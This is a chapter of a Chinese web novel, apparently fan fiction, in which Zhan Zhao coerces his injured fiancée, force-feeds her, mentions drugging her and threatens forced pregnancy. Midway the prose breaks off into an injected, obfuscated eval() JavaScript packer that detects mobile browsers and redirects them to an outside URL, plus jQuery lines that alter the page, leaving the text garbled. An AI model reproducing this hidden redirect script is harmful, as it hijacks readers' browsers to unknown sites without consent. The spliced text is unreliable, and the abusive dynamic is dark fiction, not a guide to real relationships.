527. 104

作品:《[七五]穿越日记

    背上多个血窟窿,得亏肌肉够厚实,作了护甲,但还是跟废掉了一样。烧红的木棍高温封闭断裂的血管,咬着软木疼得呜呜叫,全身肌肉几度痉挛,汗如雨下。


    意识陷入了昏昏沉沉中,由炎症发起了低烧,该是多睡眠才能恢复得快些,但事与愿违,压根睡不着。维持着半清醒半糊涂的状态,闭着眼皮,能听到外界的动静,同时一直在做梦,控制不住,各种错乱的光怪陆离在脑海中上演。


    许许多多影像,多是噩梦里受到严重伤害,沉冤莫白,叫天不应叫地不灵的绝望情境。


    “夫人。”


    恐怖片照进现实,怪物在外头敲门。


    “夫人,你怎么把门反锁了?”


    “……”


    “夫人你怎么不应声?”


    “……”


    “夫人你睡着了么?”


    砰砰砰用力地拍门。


    大声地喊,力争聒噪吵醒。


    “夫人你睡着了么?!!——”


    耐心耗尽,往后略退半步,抬腿发力,砰地把门踹开,趴卧着的伤号猛然瑟缩了瞬,心脏骤停。


    无尽柔情:“来,起来吃夜宵。”


    沙哑地拒绝:“拿走,不饿。”


    阴沉沉:“说错了,重新说。”


    形势比人强,不得不低头,放软放低声调:“……夫君,妾身真的不饿。”


    清澈的眉眼高兴地舒展开,郎艳独绝,世无其二。轻缓地扶着未婚妻坐了起来,动作极尽地小幅度,避免扯到绷带里的血痂。二十四孝好丈夫,无微不至地体贴。


    “这大碗乳蛋羹里放了六七个鸡蛋黄呢,大补,加了冰糖末、秋姜丝,一点都不腥,味道可鲜美了。”


    青瓷勺子舀出一块滑弹的黄色蛋羹,悉心地吹了吹,去除刚出锅的烫热,哄顽童般送到嘴边:“张口,啊——”


    嘴唇直哆嗦,心脏阵阵悸缩,逃避地偏开脸。


    哀求。


    “别喂了,别喂了,大人,一天八顿,撑得难受死了,快要胖成猪了……”


    置若罔闻,高热量的食物如骨附蛆地跟着,勿论脸逃避地转到哪边。


    “乖,张口,啊——”


    “……”


    嘴闭得如同蚌壳,静谧地僵持了许久,四目幽暗地相对,谁都不肯退让。


    冒着渺渺热气的大碗放到床头柜上,看着脸颊终于圆润起来的女人,伸手至右上肋,没表情地解衣带,脱掉蔚蓝上衣,头也不回抛上红木架。


    慢腾腾地跨上病榻,抓住脚踝一把拖到身下。


    “吃不吃?”


    “我吃!我吃!我吃!”抱头自保,应激性地哭腔哀嚎,“你别动手,别动手!……”


    低微地嗤笑。


    “贱骨头,吃硬不吃软。”


    满满一大碗奶蛋羹全塞进肠胃里了,喉咙里浓郁的甜腻感挥之不去,过于撑涨,感觉下一刻就要抑制不住呕出来。


    “真棒,这才是为夫乖巧可爱的小娘子。”眉开眼笑地夸赞,温情地伸手,抚过丰满了不少的面颊,将凌乱的碎发拢到耳后,轻柔地捏了捏耳垂。


    “心肝肉儿,我帮你扎两个耳洞吧。”


    “……什么?”


    顾不得牵扯到后背的伤势,竭力推开阴晴无常的鬼畜,来不及穿鞋,光着大脚板往舱门的方向跑。


    御猫快出残影,闪到出口前堵住。


    考究着,若有所思。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969584|193426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“看样子先前软筋散的药效尽了,得重新再灌一瓶……”


    “……”苦巴巴,一脸损塞儿样。


    “……不是,多大仇多大怨啊,展大人,至于做得这么绝?……”


    沉静淡漠,古井无波。


    “侬自个儿招的,怨不得旁人。”


    “整艘船的人都已知道了,您是巴不得卑职暴露得彻彻底底,除了贤妻良母以外,没有任何退路是吧?”


    “倘若还认不清局势,老实不下来,为夫不介意做得更绝些。”


    黑黢黢的猫眸,冷幽幽地盯着,恐吓意味浓重:“你现在身上有软肉了,能怀得了身孕了。”


    冷硬地摇头,戒备地后退,抓向武器。


    “你不敢。”


    不敢重蹈覆辙。


    拳头慢慢地紧攥,骨节与青筋狰狞地迸显,又缓缓地松开。


    “姐姐……”


    大猫甜蜜地撒娇娇,无视危险的弯刀,自然地矮下身,搂住撑涨得隆起的腹部,依偎在子宫位置,依赖地蹭来蹭去,亲密得无间无隙。


    低声下气,极尽温驯。


    “熊飞哪里还不够好么?身板不够魁梧么?脸蛋不够靓么?除夕佳节,咱们两口子不是很快活么?怎的如今避如蛇蝎?哪处还不够满意,你说出来,我改……”


    那时黑色大梦尚未照入现实。


    貌美而自知,男人深谙如何利用自身皮囊的优势,环抱着爱侣僵硬的躯体,仰起英武忠正的俊脸,眼含热泪,父爱如山,揪撤得人心阵阵发紧。


    “小霞,风儿,云儿……孩子们在地下待得多冷啊,我们把他们带上来好不好?算本官求你了,明文……你想怎么着都行,你想怎么着都行……”